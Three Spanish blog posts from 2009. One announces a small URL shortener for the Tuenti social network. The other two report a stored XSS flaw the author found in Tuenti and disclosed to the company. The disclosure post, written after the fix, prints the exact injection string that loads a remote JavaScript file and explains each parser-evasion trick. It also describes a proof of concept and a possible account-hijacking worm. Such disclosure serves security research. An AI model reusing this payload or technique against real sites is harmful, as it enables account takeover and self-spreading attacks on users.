TuentID, un acortador maquillado

Lunes, Julio 13th, 2009

TuentIDEn un intento por desconectar de la rutina me aburría y me dispuse a crear mi propio mini-framework de PHP. El resultado fue satisfactorio, y utiliza una estructura similar a la de Jisko aunque ampliamente mejorada, ya que en el momento que empecé a codear aquella base, me faltaba bastante experiencia (y sigue faltando demasiada, pero algo he avanzado).

El framework se divide por distintos módulos y tiene “soporte fácil” para URLs limpias, un enrutador sencillo, soporte para estadísticas… lo que viene siendo el soporte básico para empezar cualquier página a pequeña escala. Ayer mismo me puse a probarlo y ciertamente ahorro un tiempo considerable no teniendo que volver a codear lo mismo una y otra vez, además de que, por otra parte, puedo actualizar la base en cualquier proyecto al momento ya que es flexible.

Pero volviendo al tema, uno de los usos que le he dado ha sido para TuentID, que no viene a ser más que un acortador de URLs maquillado para utilizar en la red social española Tuenti para facilitar los perfiles de forma corta (así, por ejemplo). En efecto, es lo que estás pensando: una estupidez. El dominio me ha salido gratis gracias a puntos acumulados en una compañía de dominios y la funcionalidad no deja de ser la de TinyURL mismo con algo de maquillaje, pero bueno, es más un experimento para ver la reacción de usuarios y de Tuenti.

Y ahí lo dejo.

Detalles de la vulnerabilidad de Tuenti

Lunes, Mayo 4th, 2009

Esto es una explicación sobre la anterior entrada.

El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente techie).

El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (XSS). Un ejemplo con un simple <h1> en un comentario de tablón:

Tuenti y <h1>

Sin hacer la citada combinación, todo era convertido a HTML Entities (gracias a htmlentities()). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje… es muy sencillo:

  1. El usuario escribe y envía.
  2. El servidor recibe y guarda, haciendo ciertos cambios [1].
  3. Cuando alguien lo necesita, se le envía lo guardado, parseado [2] por el script local previamente.

 

¿Qué es lo que falla en el proceso? El parseado. En un principio,  estuvimos investigando pero no sacamos nada… hasta la madrugada. Al día siguiente ya teníamos la formula mágica para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.

Algo parecido ocurrió con el chaval de 17 años y Twitter, aunque él lo tuvo más fácil: el XSS se aplicaba casi directamente en el campo de URL del perfil, con poco enredo (aunque lo de después fue un poquito más enrevesado).

Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la fórmula mágica e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (” “), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:

http://diazr.com/</script><script src=http    ://diazr.com/xss.js defer=owned.jpg http://diazr.com/</script>

  1. La URL podía ser cualquiera, con el único requisito de que terminara en /.
  2. Era necesario colocar un </script> previamente antes de iniciar otro.
  3. Como se puede observar, el uso de comillas en el parámetro src y defer se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).
  4. Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.
  5. El parámetro defer no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta script.

Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un alert(). O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro “amigo”, como el csrfChallenge (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (global_uid) y otros valores seteados en el propio código JavaScript de Tuenti.

Hemos escrito el PoC de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes UIDs), se podría crear un gusano que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil… además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde aquí.

[1] Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.
[2] El parseado es un proceso mediante el cuál un script “traduce” una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia YouTube, aparece directamente el vídeo en cuestión y no el link.

Vulnerabilidad crítica en Tuenti

Jueves, Abril 30th, 2009

Logo de Tuenti

Nota: Pido disculpas por estas horas de caída del blog, todo ha sucedido por la reciente migración a otro proveedor del que ya hablé (y del que, por cierto, retiro toda crítica positiva). Así que me he vuelto a DreamHost (KJKSZPJ, el cupón de descuento anual, sigue activo) que, a pesar de ser más lento, lo aguanta todo :-)

No son pocos los escépticos con la seguridad y privacidad en las redes sociales. Yo, personalmente, estoy tanto en Facebook como en Tuenti (teniendo más actividad en este último). Para los que no la conozcan, o sólo les suene, la Wikipedia nos cuenta algo:

Tuenti es una red social virtual dirigida a la población joven española. Permite al usuario crear su propio perfil, subir fotos y vídeos y contactar con amigos. Tiene otras muchas posibilidades como crear eventos y etiquetar amigos en fotos. Se caracteriza también por su potente buscador.

Inaugurado en enero de 2006, Tuenti es uno de los sitios web más visitados en España, según Alexa Internet.

Por ejemplo, recientemente, se publicó una vulnerabilidad XSS de Facebook que permitía robar las cookies de cualquier usuario en unas determinadas circunstancias, haciendo insegura instantáneamente a la red social en cuestión. Otra, no tan reciente y más leve, permitía en Tuenti ver la lista de amigos de otro usuario, aunque éste no lo hubiera permitido previamente.

Toda aplicación web es suceptible a agujeros de seguridad. Es imposible que no existan. Aunque lo que no es imposible es trabajar lo máximo posible para reducir esos pequeños errores. Porque los agujeros de seguridad son sólo simples fallos de programación, y le pueden ocurrir desde al más primerizo al profesional que lleva toda una vida dedicada a la programación.

Esta vez vamos a centrarnos en Tuenti ya que es la red social que, con diferencia, más utilizo. Sergio y yo hace algún tiempo que miramos sitios donde encontrar vulnerabilidades para poder notificarlas y después publicarlas. Dependiendo de la gravedad, se publican en el mismo día, sin que se hayan arreglado (1, 2) o se espera un tiempo prudente para publicarlas. Y esta, en Tuenti, es una de las últimas que hemos descubierto.

Contacté ayer con Ícaro Moyano (director de comunicación de Tuenti) aprovechando que tengo contacto directo con él, para explicar la vulnerabilidad a los desarrolladores y de paso mostrar un PoC interesante. Le expliqué que se trataba de una vulnerabilidad extremedamente crítica. Por el momento, sigo a la espera.

Cierta combinación escrita en un tablón de cualquier usuario, podría conseguir que se inutilizara, y que ni él ni nadie pudiera leer ni responder comentarios. El riesgo empezaba a ser interesante aunque no comprometedor, pues lo máximo que podría ocurrir es que el usuario contactara con soporte, ellos lo detectaran y le pusieran arreglo.

Pero no, no es lo peor en realidad. Eso sólo significaría la punta del iceberg. Teniendo en cuenta que el XSS es aplicable en cualquier lugar (tu propio tablón, el de otra persona, comentarios en imágenes…), esto funcionaría como un verdadero gusano. Un gusano que se transmitiría de un usuario a otro a una velocidad vertiginosa, sin que se diera cuenta, haciendo que en pocas horas miles y miles de usuarios estuvieran bajo las manos de todo esto. Y montando un sistema automatizado detrás, hacerse con todas las cuentas rápidamente, dejando la privacidad de todos los usuarios al descubierto, al igual que sin sus preciados datos. Pero por ahora, no voy a dar más detalles, como es lógico.

Esto es tan sólo una muestra de fragilidad que una red social puede tener, que la privacidad nunca es “privada” y que en cualquier momento todo puede ser desmontado (en este caso, en una sola – pero larga – tarde se dio con ello). El tiempo de reacción en estos temas indica el nivel de importancia que se le da a los usuarios desde el equipo dirigente de la red social en sí.